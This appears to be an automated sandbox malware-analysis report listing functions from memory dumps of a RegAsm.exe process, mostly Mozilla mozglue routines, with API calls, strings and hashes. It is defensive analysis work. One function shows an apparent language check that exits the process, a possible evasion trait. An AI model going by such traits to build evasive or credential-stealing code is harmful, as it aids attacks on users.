<jemalloc>, xrefs: 6CB7CF9F, 6CB7CFB3

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 3d9c2e29756b8547a600b142f90d99194f0f52890baeed01232f07ba7c8ea2d7
Instruction ID: 0c9bcf3f5fc04edcc25d9def2f7e3e243048cb1b56aa332eff9347a7c555f339
Opcode Fuzzy Hash: 3d9c2e29756b8547a600b142f90d99194f0f52890baeed01232f07ba7c8ea2d7
Instruction Fuzzy Hash: 4531A5317412955BEF20AE658C55BAE7B79EB45754F30401DFE20ABBC0DB70E6048BB2

Function 6CB4BAE0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 183COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6CB4BC03
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CB4BD06

Strings

0, xrefs: 6CB4BBCD
0, xrefs: 6CB4BC74
y, xrefs: 6CB4BC4E

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0$0$y
API String ID: 2811501404-3020536412
Opcode ID: a5e4c47e5a876facfb528452ee553e9e402c6b2737c53bd85eee1802f5e3528e
Instruction ID: 999e461cd16fd91f3b553f19bceb831bfdcb1b95c3cc66e50a50d3455e70d39e
Opcode Fuzzy Hash: a5e4c47e5a876facfb528452ee553e9e402c6b2737c53bd85eee1802f5e3528e
Instruction Fuzzy Hash: 1D61D371A0CB849FC714CF28C480A5FB7E9EF89348F008A2DF98597659DB30D9499B92

Function 6CB4ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB4F100: LoadLibraryW.KERNEL32(shell32,?,6CBBD020), ref: 6CB4F122
Part of subcall function 6CB4F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CB4F132

moz_xmalloc.MOZGLUE(00000012), ref: 6CB4ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB4EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6CB4EDCC
CreateFileW.KERNEL32 ref: 6CB4EE08
free.MOZGLUE(00000000), ref: 6CB4EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6CB4EE32

Part of subcall function 6CB4EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6CB4EBB5
Part of subcall function 6CB4EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6CB7D7F3), ref: 6CB4EBC3
Part of subcall function 6CB4EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6CB7D7F3), ref: 6CB4EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6CB4EDC1

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 9a4fac9644a5ff73c9d7e786e9b326ffc9483a2eb762ab1e25755be6b5495c18
Instruction ID: de25ee9dbb02b7daf7b870bf0705689f382d9f5714df3e60a453d7d5b73e2a87
Opcode Fuzzy Hash: 9a4fac9644a5ff73c9d7e786e9b326ffc9483a2eb762ab1e25755be6b5495c18
Instruction Fuzzy Hash: 4551BF71D092D49BDB00DF68C8416AEF7B0EF59318F44852DE8556B744EB306948D7A2

Function 6CB50A60 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 140COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000000C,?,6CBAB80C,00000000,?,?,6CB5003B,?), ref: 6CB50A72

Part of subcall function 6CB5CA10: malloc.MOZGLUE(?), ref: 6CB5CA26

moz_xmalloc.MOZGLUE(?,?,6CBAB80C,00000000,?,?,6CB5003B,?), ref: 6CB50AF5
free.MOZGLUE(00000000,?,?,6CBAB80C,00000000,?,?,6CB5003B,?), ref: 6CB50B9F
free.MOZGLUE(?,?,?,6CBAB80C,00000000,?,?,6CB5003B,?), ref: 6CB50BDB
free.MOZGLUE(00000000,?,?,6CBAB80C,00000000,?,?,6CB5003B,?), ref: 6CB50BED
mozalloc_abort.MOZGLUE(alloc overflow,?,6CBAB80C,00000000,?,?,6CB5003B,?), ref: 6CB50C0A

Strings

alloc overflow, xrefs: 6CB50C05

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: free$moz_xmalloc$mallocmozalloc_abort
String ID: alloc overflow
API String ID: 1471638834-749304246
Opcode ID: 70450dfe2391518611ac9c86af1a4eb0b4b80545200430b9aeaec7ce8da37e7a
Instruction ID: 1b669e086459058bb9719ad463e25ba80744501e4fa840ebfc35b5433aa8b8bb
Opcode Fuzzy Hash: 70450dfe2391518611ac9c86af1a4eb0b4b80545200430b9aeaec7ce8da37e7a
Instruction Fuzzy Hash: 7A51B0B4A042868FDB14CF58D8C0A6EB3B5FF4430CF54496DC85A9BA01EB71A568CB51

Function 6CBBA520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CBBA565

Part of subcall function 6CBBA470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBBA4BE
Part of subcall function 6CBBA470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CBBA4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6CBBA65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CBBA6B6

Strings

z, xrefs: 6CBBA6AE
0, xrefs: 6CBBA5FB

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 153c7ba62a2f36281206003754a94b3fec25cc2297523a78cc04fbdf3dba9a75
Instruction ID: 5355366a102509c57ef43be0706a07f4f6ad17959bd6ac317f4b268c8f2b3003
Opcode Fuzzy Hash: 153c7ba62a2f36281206003754a94b3fec25cc2297523a78cc04fbdf3dba9a75
Instruction Fuzzy Hash: 9B4118719087859FC341DF28C080A9FBBE5BF89354F408A2EE49997650EB30E649CF93

Function 6CB478C0 Relevance: 12.3, APIs: 8, Instructions: 320COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,6CBC008B), ref: 6CB47B89
free.MOZGLUE(?,6CBC008B), ref: 6CB47BAC

Part of subcall function 6CB478C0: free.MOZGLUE(?,6CBC008B), ref: 6CB47BCF

free.MOZGLUE(?,6CBC008B), ref: 6CB47BF2

Part of subcall function 6CB65E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CB65EDB
Part of subcall function 6CB65E90: memset.VCRUNTIME140(6CBA7765,000000E5,55CCCCCC), ref: 6CB65F27
Part of subcall function 6CB65E90: LeaveCriticalSection.KERNEL32(?), ref: 6CB65FB2

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: free$CriticalSection$EnterLeavememset
String ID:
API String ID: 3977402767-0
Opcode ID: 62f15fb4fb8812683475fcf1bb094ae3d7c4842bc3cde02ca564b2e2c180bbdb
Instruction ID: ce9888854619fb20548d4f49f32f590dbeb52151d93f61ba9c7c58ea1f589e33
Opcode Fuzzy Hash: 62f15fb4fb8812683475fcf1bb094ae3d7c4842bc3cde02ca564b2e2c180bbdb
Instruction Fuzzy Hash: 0FC1D471E081688BEB24CB28CC90B9DB772AF41318F1483A8D51AB7BC5C7719E88DF51

Function 6CB89420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6CB7AB89: EnterCriticalSection.KERNEL32(6CBCE370,?,?,?,6CB434DE,6CBCF6CC,?,?,?,?,?,?,?,6CB43284), ref: 6CB7AB94
Part of subcall function 6CB7AB89: LeaveCriticalSection.KERNEL32(6CBCE370,?,6CB434DE,6CBCF6CC,?,?,?,?,?,?,?,6CB43284,?,?,6CB656F6), ref: 6CB7ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CB54A68), ref: 6CB8945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB89470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB89482
__Init_thread_footer.LIBCMT ref: 6CB8949F

Strings

MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CB89459
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CB8946B
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CB8947D

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 74386577ca8d710c368fa7593290ba989bc31845f9da0bc4d20e69ea98f9a773
Instruction ID: ea69562dc9fc1ef1030aa79f99e32edf705ac87c4bbb48d92d60d1be78ab67a1
Opcode Fuzzy Hash: 74386577ca8d710c368fa7593290ba989bc31845f9da0bc4d20e69ea98f9a773
Instruction Fuzzy Hash: 4201FC74F01141CBDB209B6DD811A4933B9EB0933AF0C0577ED0687B51D635E6648A57

Function 00416210 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32(?,?,004164C6,00420ADA), ref: 00416214
ExitProcess.KERNEL32 ref: 00416245
ExitProcess.KERNEL32 ref: 0041624F
ExitProcess.KERNEL32 ref: 00416259
ExitProcess.KERNEL32 ref: 00416263
ExitProcess.KERNEL32 ref: 0041626D

Strings

*, xrefs: 0041622C

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: 5ece0110b3631b66e0cf394c1ce0ab63be50b876c6328f41a651a73fa16b4c2b
Instruction ID: 0b6e22eaf0c44992244314602628df478572758edaaa30d1127695f9febd7a00
Opcode Fuzzy Hash: 5ece0110b3631b66e0cf394c1ce0ab63be50b876c6328f41a651a73fa16b4c2b
Instruction Fuzzy Hash: 49F05830908A08EFE764AFE0EA09F5CBB3AEF04713F108195F609C7290CB748A11DB55

Function 6CB91220 Relevance: 12.2, APIs: 8, Instructions: 173threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB9124B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CB91268
GetCurrentThreadId.KERNEL32 ref: 6CB912DA
InitializeConditionVariable.KERNEL32(?), ref: 6CB9134A
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6CB9138A
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6CB91431

Part of subcall function 6CB88AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6CBA1563), ref: 6CB88BD5

free.MOZGLUE(?), ref: 6CB9145A
free.MOZGLUE(?), ref: 6CB9146C

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: f2b8e6f60677fda69eaa65086929a6858600d7044b9fd54453fd46cb54a1c326
Instruction ID: 8515469f88240bfadb157b0bd88d0c8a347ce924a5e2ff8c4b3fbb26cf02402f
Opcode Fuzzy Hash: f2b8e6f60677fda69eaa65086929a6858600d7044b9fd54453fd46cb54a1c326
Instruction Fuzzy Hash: F5619E75A043849BDB10DF25C88079EB7F9BF8A308F04892DE99957712DB31E559CB42

Function 6CB90F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB90F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CB90F88
GetCurrentThreadId.KERNEL32 ref: 6CB90FF7
InitializeConditionVariable.KERNEL32(?), ref: 6CB91067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6CB910A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6CB9114B

Part of subcall function 6CB88AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6CBA1563), ref: 6CB88BD5

free.MOZGLUE(?), ref: 6CB91174
free.MOZGLUE(?), ref: 6CB91186

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: 81ed0d104f0e1e0a2e1e41ca29279e36aafb8b175b80d00560150b679909c559
Instruction ID: 0a4972ad711dd5f4ae1c17bfa4a91d0bd05ee273dbeeb9ec07f825f56e849db1
Opcode Fuzzy Hash: 81ed0d104f0e1e0a2e1e41ca29279e36aafb8b175b80d00560150b679909c559
Instruction Fuzzy Hash: DA618F75A043849BDB10CF25D88079EB7F9BFCA308F04892DE99957711EB31E559CB82

Function 6CB44B50 Relevance: 12.2, APIs: 8, Instructions: 164COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6CB44667,?,?,?,?,?,?,?,?,6CB84843,?), ref: 6CB44C63
free.MOZGLUE(?,?,?,6CB44667,?,?,?,?,?,?,?,?,6CB84843,?), ref: 6CB44C89
free.MOZGLUE(?,?,?,6CB44667,?,?,?,?,?,?,?,?,6CB84843,?), ref: 6CB44CAC
free.MOZGLUE(?,?,?,?,?,?,?,6CB84843,?), ref: 6CB44CCF
free.MOZGLUE(?,?,?,?,?,?,?,?,6CB84843,?), ref: 6CB44CF2
free.MOZGLUE(?,?,?,?,?,?,?,?,6CB84843,?), ref: 6CB44D15
free.MOZGLUE(?,?,?,?,?,?,?,?,6CB84843,?), ref: 6CB44D38
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6CB44667,?,?,?,?,?,?,?,?,6CB84843,?), ref: 6CB44DD1

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1497960986-0
Opcode ID: 92740be7d753c147354fbe76fe1a3bc2a9a3eadbe80cabc584bbf1b1d4d940dd
Instruction ID: d19d37ad804edeef0c16d1ebb613579e3c4a731eb49bde233b8eca60b62a601f
Opcode Fuzzy Hash: 92740be7d753c147354fbe76fe1a3bc2a9a3eadbe80cabc584bbf1b1d4d940dd
Instruction Fuzzy Hash: 11517571508A908FD3248F3DD9A471A76A1AF02328F448B1CE1A7CBFD6D735A9649F42

Function 6CB4E9C0 Relevance: 12.1, APIs: 8, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,6CB51999), ref: 6CB4EA39
memcpy.VCRUNTIME140(?,?,7FFFFFFE), ref: 6CB4EA5C
memset.VCRUNTIME140(7FFFFFFE,00000000,?), ref: 6CB4EA76
moz_xmalloc.MOZGLUE(-00000001,?,?,6CB51999), ref: 6CB4EA9D
memcpy.VCRUNTIME140(?,7FFFFFFE,?,?,?,6CB51999), ref: 6CB4EAC2
memset.VCRUNTIME140(?,00000000,00000000,?,?,?,?), ref: 6CB4EADC
free.MOZGLUE(7FFFFFFE,?,?,?,?), ref: 6CB4EB0B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?), ref: 6CB4EB27

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: memcpymemsetmoz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 706364981-0
Opcode ID: ecb5c0ccaf338fcf0f402995057ede38ba28e50024675e17ba0130654f274fda
Instruction ID: 49ca955fd70ca2e2e6fdc5c76145bc79da3c68e9e69334210c7316b0b9ace082
Opcode Fuzzy Hash: ecb5c0ccaf338fcf0f402995057ede38ba28e50024675e17ba0130654f274fda
Instruction Fuzzy Hash: 0341B6B19042959FDB14CF68DC80AAEB7B4FF45354F244624E815E7798E730DA04C7E2

Function 6CB9D310 Relevance: 12.1, APIs: 8, Instructions: 132threadtimeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CB9D36B
GetCurrentThreadId.KERNEL32 ref: 6CB9D38A
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB9D39D
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB9D3E1
free.MOZGLUE ref: 6CB9D408

Part of subcall function 6CB7CBE8: GetCurrentProcess.KERNEL32(?,6CB431A7), ref: 6CB7CBF1
Part of subcall function 6CB7CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CB431A7), ref: 6CB7CBFA

GetCurrentThreadId.KERNEL32 ref: 6CB9D44B
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB9D457
ReleaseSRWLockExclusive.KERNEL32(?,?), ref: 6CB9D472

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$Current$AcquireProcessReleaseThread$StampTerminateTimeV01@@Value@mozilla@@free
String ID:
API String ID: 3843575911-0
Opcode ID: 9207d273d10b7f0935d12b237459fe15b69302627134b5903db24cdc9e3699d1
Instruction ID: 3a42162317043b4a2fc7136668b37b483603b8d8e32b0c97bae87926ab83237f
Opcode Fuzzy Hash: 9207d273d10b7f0935d12b237459fe15b69302627134b5903db24cdc9e3699d1
Instruction Fuzzy Hash: 2A41DF71604345CFCB14DF65D488AAFBBB5FF8A314F10492DE96297B40EB31A948CB92

Function 6CB4B630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6CB4B61E,?,?,?,?,?,00000000), ref: 6CB4B6AC

Part of subcall function 6CB5CA10: malloc.MOZGLUE(?), ref: 6CB5CA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6CB4B61E,?,?,?,?,?,00000000), ref: 6CB4B6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6CB4B61E,?,?,?,?,?,00000000), ref: 6CB4B6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6CB4B61E,?,?,?,?,?,00000000), ref: 6CB4B70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6CB4B61E,?,?,?,?,?,00000000), ref: 6CB4B71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6CB4B61E), ref: 6CB4B73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6CB4B61E,?,?,?,?,?,00000000), ref: 6CB4B760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6CB4B61E,?,?,?,?,?,00000000), ref: 6CB4B79A

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
